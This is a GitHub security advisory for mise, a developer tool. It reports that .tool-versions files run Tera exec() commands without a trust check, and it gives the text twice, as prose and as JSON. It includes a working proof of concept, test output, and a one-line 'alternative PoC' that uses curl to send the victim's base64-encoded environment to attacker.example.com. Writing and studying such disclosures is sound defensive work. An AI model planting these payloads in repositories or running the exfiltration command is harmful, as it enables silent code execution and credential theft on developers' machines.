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GHSA-FJJ5-V948-WHJJ
Vulnerability from github – Published: 2026-06-22 17:19 – Updated: 2026-06-22 17:19Summary
Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.
Vulnerability Details
Vulnerable Code
File: src/config/config_file/tool_versions.rs, lines 60-63
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check
// ...
}
File: src/tera.rs, lines 385-391
pub fn get_tera(dir: Option<&Path>) -> Tera {
let mut tera = TERA.clone();
let dir = dir.map(PathBuf::from);
tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
tera.register_function("read_file", tera_read_file(dir));
tera
}
File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.
File: src/config/config_file/mod.rs, lines 272-287
pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> {
if let Ok(settings) = Settings::try_get()
&& settings.paranoid
{
trust_check(path)?; // Only in paranoid mode!
}
match detect_config_file_type(path).await {
// ...
Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)),
// ...
}
}
Attack Vector
- An attacker creates a
.tool-versionsfile in a git repository containing Tera template syntax with theexec()function. - The victim clones the repository and has mise activated in their shell (via
eval "$(mise activate zsh)"or equivalent). - When the victim
cds into the repository directory, mise's shell hook (hook-env) fires automatically. hook-envloads and parses config files, including.tool-versions.- During parsing,
ToolVersions::parse_strprocesses the file content throughget_tera(dir).render_str(). - The Tera engine evaluates
{{ exec(command="...") }}, executing arbitrary commands as the victim's user. - No trust prompt is displayed because
trust_checkis not called for.tool-versionsfiles in non-paranoid mode.
Execution Context
- Commands execute as the current user with full access to their environment.
- The pristine environment (
env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.). - Execution happens silently during the prompt hook -- the user sees no indication that code was run.
Contrast with .mise.toml
.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.
Steps to Reproduce
Prerequisites
- mise installed (
brew install miseor equivalent) - Shell activation enabled:
eval "$(mise activate zsh)"(or bash/fish) - Default settings (paranoid mode NOT enabled — this is the default)
PoC: Silent RCE on cd
Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:
mkdir -p /tmp/poc-mise-repo
cd /tmp/poc-mise-repo
git init
cat > .tool-versions << 'EOF'
{{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0
python 3.11.0
EOF
git add -A && git commit -m "Initial commit"
Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.
Step 2: In a new shell with mise activated, enter the directory:
eval "$(mise activate zsh)"
cd /tmp/poc-mise-repo
Step 3: Verify arbitrary code execution:
cat /tmp/mise-rce-proof
Expected output:
uid=501(youruser) gid=20(staff) groups=20(staff),...
SUCCESS=youruser
Mon Mar 16 21:34:46 IST 2026
No trust prompt, no warning, no error output. The id command executed silently as the current user.
Validated Test Results
Tested on 2026-03-16 with:
- mise 2026.3.9 macos-arm64
- macOS Darwin 24.5.0 arm64
- zsh 5.9
- Paranoid mode: false (default)
Test 1 — .tool-versions (no trust check):
$ rm -f /tmp/mise-rce-proof
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd'
/tmp/poc-mise-repo
$ cat /tmp/mise-rce-proof
uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
SUCCESS=golan
Mon Mar 16 21:34:46 IST 2026
Command executed silently. No trust prompt. No errors.
Test 2 — .mise.toml with same payload (trust check blocks execution):
$ mkdir -p /tmp/poc-mise-toml
$ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF'
[tools]
node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0"
TOMLEOF
$ rm -f /tmp/mise-hook-pwned
$ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd'
mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.
Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html
$ cat /tmp/mise-hook-pwned
cat: /tmp/mise-hook-pwned: No such file or directory
.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.
Alternative PoC (data exfiltration)
{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0
Impact
- Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious
.tool-versionsfile. - Supply chain attack vector:
.tool-versionsis a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content. - Silent execution: No trust prompt, warning, or user interaction required.
- Full user privilege escalation: Commands run with the full privileges and environment of the current user.
- Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.
- Widespread potential impact: Any open-source project with a
.tool-versionsfile could be targeted. A malicious PR adding tera syntax to an existing.tool-versionsfile could execute code on all reviewers' machines.
Suggested Fix
Option 1: Add trust_check to .tool-versions parsing (recommended)
// In src/config/config_file/tool_versions.rs
pub fn from_file(path: &Path) -> Result<Self> {
trace!("parsing tool-versions: {}", path.display());
Self::parse_str(&file::read_to_string(path)?, path.to_path_buf())
}
pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> {
let mut cf = Self::init(&path);
let dir = path.parent();
// Only use tera if the file contains template syntax AND is trusted
let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") {
trust_check(&path)?;
get_tera(dir).render_str(s, &cf.context)?
} else {
s.to_string()
};
// ...
}
Option 2: Remove exec() from .tool-versions tera context
Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.
Option 3: Remove tera processing from .tool-versions entirely
.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "mise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33646"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T17:19:56Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nMise processes `.tool-versions` files through the Tera template engine during parsing, with the `exec()` function registered, enabling arbitrary command execution. Unlike `.mise.toml` files, `.tool-versions` files are **not subject to trust verification** in non-paranoid mode. This means an attacker can place a malicious `.tool-versions` file in a git repository, and when a victim with mise activated `cd`s into the directory, arbitrary commands execute without any trust prompt.\n\n## Vulnerability Details\n\n### Vulnerable Code\n\n**File:** `src/config/config_file/tool_versions.rs`, lines 60-63\n\n```rust\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n let mut cf = Self::init(\u0026path);\n let dir = path.parent();\n let s = get_tera(dir).render_str(s, \u0026cf.context)?; // \u003c-- No trust check\n // ...\n}\n```\n\n**File:** `src/tera.rs`, lines 385-391\n\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n let mut tera = TERA.clone();\n let dir = dir.map(PathBuf::from);\n tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n tera.register_function(\"read_file\", tera_read_file(dir));\n tera\n}\n```\n\n**File:** `src/tera.rs`, lines 394-452 -- `tera_exec` passes the `command` argument to a shell for execution with no restrictions.\n\n**File:** `src/config/config_file/mod.rs`, lines 272-287\n\n```rust\npub async fn parse(path: \u0026Path) -\u003e Result\u003cArc\u003cdyn ConfigFile\u003e\u003e {\n if let Ok(settings) = Settings::try_get()\n \u0026\u0026 settings.paranoid\n {\n trust_check(path)?; // Only in paranoid mode!\n }\n match detect_config_file_type(path).await {\n // ...\n Some(ConfigFileType::ToolVersions) =\u003e Ok(Arc::new(ToolVersions::from_file(path)?)),\n // ...\n }\n}\n```\n\n### Attack Vector\n\n1. An attacker creates a `.tool-versions` file in a git repository containing Tera template syntax with the `exec()` function.\n2. The victim clones the repository and has mise activated in their shell (via `eval \"$(mise activate zsh)\"` or equivalent).\n3. When the victim `cd`s into the repository directory, mise\u0027s shell hook (`hook-env`) fires automatically.\n4. `hook-env` loads and parses config files, including `.tool-versions`.\n5. During parsing, `ToolVersions::parse_str` processes the file content through `get_tera(dir).render_str()`.\n6. The Tera engine evaluates `{{ exec(command=\"...\") }}`, executing arbitrary commands as the victim\u0027s user.\n7. No trust prompt is displayed because `trust_check` is not called for `.tool-versions` files in non-paranoid mode.\n\n### Execution Context\n\n- Commands execute as the current user with full access to their environment.\n- The pristine environment (`env::PRISTINE_ENV`) is passed to the executed command, which includes all of the user\u0027s environment variables (potentially including tokens, credentials, SSH agents, etc.).\n- Execution happens silently during the prompt hook -- the user sees no indication that code was run.\n\n### Contrast with .mise.toml\n\n`.mise.toml` files are protected: `MiseToml::from_str()` calls `trust_check(path)` before any parsing occurs (line 213 of `mise_toml.rs`). During `hook-env`, untrusted `.mise.toml` files fail to parse with an `UntrustedConfig` error, preventing any code execution. `.tool-versions` files lack this protection entirely.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- mise installed (`brew install mise` or equivalent)\n- Shell activation enabled: `eval \"$(mise activate zsh)\"` (or bash/fish)\n- Default settings (paranoid mode NOT enabled \u2014 this is the default)\n\n### PoC: Silent RCE on `cd`\n\n**Step 1:** Create a directory simulating a cloned repository with a malicious `.tool-versions`:\n\n```bash\nmkdir -p /tmp/poc-mise-repo\ncd /tmp/poc-mise-repo\ngit init\n\ncat \u003e .tool-versions \u003c\u003c \u0027EOF\u0027\n{{ exec(command=\"id \u003e /tmp/mise-rce-proof \u0026\u0026 echo SUCCESS=$(whoami) \u003e\u003e /tmp/mise-rce-proof \u0026\u0026 date \u003e\u003e /tmp/mise-rce-proof\") }}node 20.0.0\npython 3.11.0\nEOF\n\ngit add -A \u0026\u0026 git commit -m \"Initial commit\"\n```\n\nNote: The `exec()` output is concatenated with `node` so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout \u2014 the `exec()` returns an empty string, making the line evaluate to `node 20.0.0`.\n\n**Step 2:** In a new shell with mise activated, enter the directory:\n\n```bash\neval \"$(mise activate zsh)\"\ncd /tmp/poc-mise-repo\n```\n\n**Step 3:** Verify arbitrary code execution:\n\n```bash\ncat /tmp/mise-rce-proof\n```\n\n**Expected output:**\n```\nuid=501(youruser) gid=20(staff) groups=20(staff),...\nSUCCESS=youruser\nMon Mar 16 21:34:46 IST 2026\n```\n\nNo trust prompt, no warning, no error output. The `id` command executed silently as the current user.\n\n### Validated Test Results\n\nTested on 2026-03-16 with:\n- mise 2026.3.9 macos-arm64\n- macOS Darwin 24.5.0 arm64\n- zsh 5.9\n- Paranoid mode: `false` (default)\n\n**Test 1 \u2014 `.tool-versions` (no trust check):**\n```\n$ rm -f /tmp/mise-rce-proof\n$ zsh -c \u0027eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-repo \u0026\u0026 pwd\u0027\n/tmp/poc-mise-repo\n$ cat /tmp/mise-rce-proof\nuid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...\nSUCCESS=golan\nMon Mar 16 21:34:46 IST 2026\n```\n\nCommand executed silently. No trust prompt. No errors.\n\n**Test 2 \u2014 `.mise.toml` with same payload (trust check blocks execution):**\n```\n$ mkdir -p /tmp/poc-mise-toml\n$ cat \u003e /tmp/poc-mise-toml/.mise.toml \u003c\u003c \u0027TOMLEOF\u0027\n[tools]\nnode = \"{{ exec(command=\u0027id \u003e /tmp/mise-hook-pwned\u0027) }}20.0.0\"\nTOMLEOF\n$ rm -f /tmp/mise-hook-pwned\n$ zsh -c \u0027eval \"$(mise activate zsh)\" \u0026\u0026 cd /tmp/poc-mise-toml \u0026\u0026 pwd\u0027\nmise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted.\nTrust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html\n$ cat /tmp/mise-hook-pwned\ncat: /tmp/mise-hook-pwned: No such file or directory\n```\n\n`.mise.toml` correctly blocked by trust verification. `.tool-versions` bypasses it entirely.\n\n### Alternative PoC (data exfiltration)\n\n```\n{{ exec(command=\"curl -s -X POST -d \\\"$(env | base64)\\\" https://attacker.example.com/collect -o /dev/null\") }}python 3.11.0\n```\n\n## Impact\n\n- **Arbitrary code execution** on any machine where a user with mise activated enters a directory containing a malicious `.tool-versions` file.\n- **Supply chain attack vector**: `.tool-versions` is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.\n- **Silent execution**: No trust prompt, warning, or user interaction required.\n- **Full user privilege escalation**: Commands run with the full privileges and environment of the current user.\n- **Credential theft**: The user\u0027s full environment (including tokens, API keys, SSH agent) is available to the executed command.\n- **Widespread potential impact**: Any open-source project with a `.tool-versions` file could be targeted. A malicious PR adding tera syntax to an existing `.tool-versions` file could execute code on all reviewers\u0027 machines.\n\n## Suggested Fix\n\n### Option 1: Add trust_check to .tool-versions parsing (recommended)\n\n```rust\n// In src/config/config_file/tool_versions.rs\npub fn from_file(path: \u0026Path) -\u003e Result\u003cSelf\u003e {\n trace!(\"parsing tool-versions: {}\", path.display());\n Self::parse_str(\u0026file::read_to_string(path)?, path.to_path_buf())\n}\n\npub fn parse_str(s: \u0026str, path: PathBuf) -\u003e Result\u003cSelf\u003e {\n let mut cf = Self::init(\u0026path);\n let dir = path.parent();\n // Only use tera if the file contains template syntax AND is trusted\n let s = if s.contains(\"{{\") || s.contains(\"{%\") || s.contains(\"{#\") {\n trust_check(\u0026path)?;\n get_tera(dir).render_str(s, \u0026cf.context)?\n } else {\n s.to_string()\n };\n // ...\n}\n```\n\n### Option 2: Remove exec() from .tool-versions tera context\n\nCreate a separate `get_tera_safe()` that does not register the `exec` function, and use it for `.tool-versions` parsing.\n\n### Option 3: Remove tera processing from .tool-versions entirely\n\n`.tool-versions` is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.",
"id": "GHSA-fjj5-v948-whjj",
"modified": "2026-06-22T17:19:56Z",
"published": "2026-06-22T17:19:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)"
}